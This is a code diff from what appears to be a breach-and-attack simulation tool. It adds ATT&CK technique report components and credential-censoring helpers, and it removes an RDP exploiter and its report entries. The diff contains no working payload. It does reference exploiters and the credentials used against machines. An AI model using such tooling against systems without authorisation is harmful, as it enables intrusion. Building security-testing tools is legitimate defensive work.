{'$lookup': {'from': 'monkey',
'localField': 'monkey_guid',
'foreignField': 'guid',
'as': 'monkey'}},
{'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
'status': '$data.status',
'usage': '$data.usage'}},
{'$addFields': {'_id': 0,
'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
'monkey': 0}},
{'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}},
{"$replaceRoot": {"newRoot": "$_id"}}]

View File

@ -0,0 +1,46 @@
from monkey_island.cc.encryptor import encryptor
def parse_creds(attempt):
"""
Parses used credentials into a string
:param attempt: login attempt from database
:return: string with username and used password/hash
"""
username = attempt['user']
creds = {'lm_hash': {'type': 'LM hash', 'output': censor_hash(attempt['lm_hash'])},
'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)},
'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}}
for key, cred in creds.items():
if attempt[key]:
return '%s ; %s : %s' % (username,
cred['type'],
cred['output'])
def censor_password(password, plain_chars=3, secret_chars=5):
"""
Decrypts and obfuscates password by changing characters to *
:param password: Password or string to obfuscate
:param plain_chars: How many plain-text characters should be kept at the start of the string
:param secret_chars: How many * symbols should be used to hide the remainder of the password
:return: Obfuscated string e.g. Pass****
"""
if not password:
return ""
password = encryptor.dec(password)
return password[0:plain_chars] + '*' * secret_chars
def censor_hash(hash_, plain_chars=5):
"""
Decrypts and obfuscates hash by only showing a part of it
:param hash_: Hash to obfuscate
:param plain_chars: How many chars of hash should be shown
:return: Obfuscated string
"""
if not hash_:
return ""
hash_ = encryptor.dec(hash_)
return hash_[0: plain_chars] + ' ...'

View File

@ -0,0 +1,53 @@
import abc
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique, logger
from common.utils.attack_utils import UsageEnum
class UsageTechnique(AttackTechnique):
__metaclass__ = abc.ABCMeta
@staticmethod
def parse_usages(usage):
"""
Parses data from database and translates usage enums into strings
:param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1}
:return: usage string
"""
try:
usage['usage'] = UsageEnum[usage['usage']].value[usage['status']]
except KeyError:
logger.error("Error translating usage enum. into string. "
"Check if usage enum field exists and covers all telem. statuses.")
return usage
@classmethod
def get_usage_data(cls):
"""
Gets data of usage attack telemetries
:return: parsed list of usages from attack telemetries of usage type
"""
data = list(mongo.db.telemetry.aggregate(cls.get_usage_query()))
return list(map(cls.parse_usages, data))
@classmethod
def get_usage_query(cls):
"""
:return: Query that parses attack telemetries for a simple report component
(gets machines and attack technique usage).
"""
return [{'$match': {'telem_category': 'attack',
'data.technique': cls.tech_id}},
{'$lookup': {'from': 'monkey',
'localField': 'monkey_guid',
'foreignField': 'guid',
'as': 'monkey'}},
{'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
'status': '$data.status',
'usage': '$data.usage'}},
{'$addFields': {'_id': 0,
'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
'monkey': 0}},
{'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}},
{"$replaceRoot": {"newRoot": "$_id"}}]

View File

@ -32,14 +32,6 @@ SCHEMA = {
"title": "MSSQL Exploiter",
"attack_techniques": ["T1110"]
},
{
"type": "string",
"enum": [
"RdpExploiter"
],
"title": "RDP Exploiter (UNSAFE)",
"attack_techniques": []
},
{
"type": "string",
"enum": [
@ -791,19 +783,6 @@ SCHEMA = {
}
}
},
"rdp_grinder": {
"title": "RDP grinder",
"type": "object",
"properties": {
"rdp_use_vbs_download": {
"title": "Use VBS download",
"type": "boolean",
"default": True,
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
" (true=VBS, false=BITS)"
}
}
},
"sambacry": {
"title": "SambaCry",
"type": "object",

View File

@ -36,7 +36,6 @@ class ReportService:
'SmbExploiter': 'SMB Exploiter',
'WmiExploiter': 'WMI Exploiter',
'SSHExploiter': 'SSH Exploiter',
'RdpExploiter': 'RDP Exploiter',
'SambaCryExploiter': 'SambaCry Exploiter',
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
'Ms08_067_Exploiter': 'Conficker Exploiter',
@ -289,12 +288,6 @@ class ReportService:
processed_exploit['type'] = 'ssh'
return processed_exploit
@staticmethod
def process_rdp_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit)
processed_exploit['type'] = 'rdp'
return processed_exploit
@staticmethod
def process_vsftpd_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit)
@ -359,7 +352,6 @@ class ReportService:
'SmbExploiter': ReportService.process_smb_exploit,
'WmiExploiter': ReportService.process_wmi_exploit,
'SSHExploiter': ReportService.process_ssh_exploit,
'RdpExploiter': ReportService.process_rdp_exploit,
'SambaCryExploiter': ReportService.process_sambacry_exploit,
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,

View File

@ -0,0 +1,44 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers"
class T1021 extends React.Component {
constructor(props) {
super(props);
}
static getServiceColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 160},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
{Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
]
}])};
static renderCreds(creds) {
return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>
};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1021.getServiceColumns()}
data={this.props.data.services}
showPagination={false}
defaultPageSize={this.props.data.services.length}
/> : ""}
</div>
);
}
}
export default T1021;

View File

@ -0,0 +1,30 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { getUsageColumns } from "./Helpers"
class T1064 extends React.Component {
constructor(props) {
super(props);
}
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.scripts.length !== 0 ?
<ReactTable
columns={getUsageColumns()}
data={this.props.data.scripts}
showPagination={false}
defaultPageSize={this.props.data.scripts.length}
/> : ""}
</div>
);
}
}
export default T1064;

View File

@ -295,13 +295,12 @@ class ConfigurePageComponent extends AuthComponent {
this.setState({PBAlinuxFile: [], PBAwinFile: []});
}
onReadFile = (event) => {
setConfigOnImport = (event) => {
try {
this.setState({
configuration: JSON.parse(event.target.result),
lastAction: 'import_success'
}, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))});
this.currentSection = 'basic';
this.currentFormData = {};
} catch(SyntaxError) {
this.setState({lastAction: 'import_failure'});
@ -335,7 +334,7 @@ class ConfigurePageComponent extends AuthComponent {
importConfig = (event) => {
let reader = new FileReader();
reader.onload = this.onReadFile;
reader.onload = this.setConfigOnImport;
reader.readAsText(event.target.files[0]);
event.target.value = null;
};
@ -494,7 +493,6 @@ class ConfigurePageComponent extends AuthComponent {
} else if(this.state.selectedSection !== 'attack') {
content = this.renderConfigContent(displayedSchema)
}
return (
<Col xs={12} lg={10}>
{this.renderAttackAlertModal()}

View File

@ -633,22 +633,6 @@ class ReportPageComponent extends AuthComponent {
);
}
generateRdpIssue(issue) {
return (
<li>
Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password
that is not shared with other computers on the network.
<CollapsibleWellComponent>
The machine <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
className="label label-danger">RDP</span> attack.
<br/>
The Monkey authenticated over the RDP protocol with user <span
className="label label-success">{issue.username}</span> and its password.
</CollapsibleWellComponent>
</li>
);
}
generateSambaCryIssue(issue) {
return (
@ -927,9 +911,6 @@ generateMSSQLIssue(issue) {
case 'ssh_key':
data = this.generateSshKeysIssue(issue);
break;
case 'rdp':
data = this.generateRdpIssue(issue);
break;
case 'sambacry':
data = this.generateSambaCryIssue(issue);
break;

View File

@ -6,6 +6,7 @@ import '../../../styles/Collapse.scss';
import AuthComponent from '../../AuthComponent';
import {ScanStatus} from "../../attack/techniques/Helpers";
import Collapse from '@kunukn/react-collapse';
import T1210 from '../../attack/techniques/T1210';
import T1197 from '../../attack/techniques/T1197';
import T1110 from '../../attack/techniques/T1110';
@ -28,6 +29,8 @@ import T1222 from "../../attack/techniques/T1222";
import T1005 from "../../attack/techniques/T1005";
import T1018 from "../../attack/techniques/T1018";
import T1016 from "../../attack/techniques/T1016";
import T1021 from "../../attack/techniques/T1021";
import T1064 from "../../attack/techniques/T1064";
import {extractExecutionStatusFromServerResponse} from "../common/ExecutionStatus";
const tech_components = {
@ -52,7 +55,9 @@ const tech_components = {
'T1222': T1222,
'T1005': T1005,
'T1018': T1018,
'T1016': T1016
'T1016': T1016,
'T1021': T1021,
'T1064': T1064
};
const classNames = require('classnames');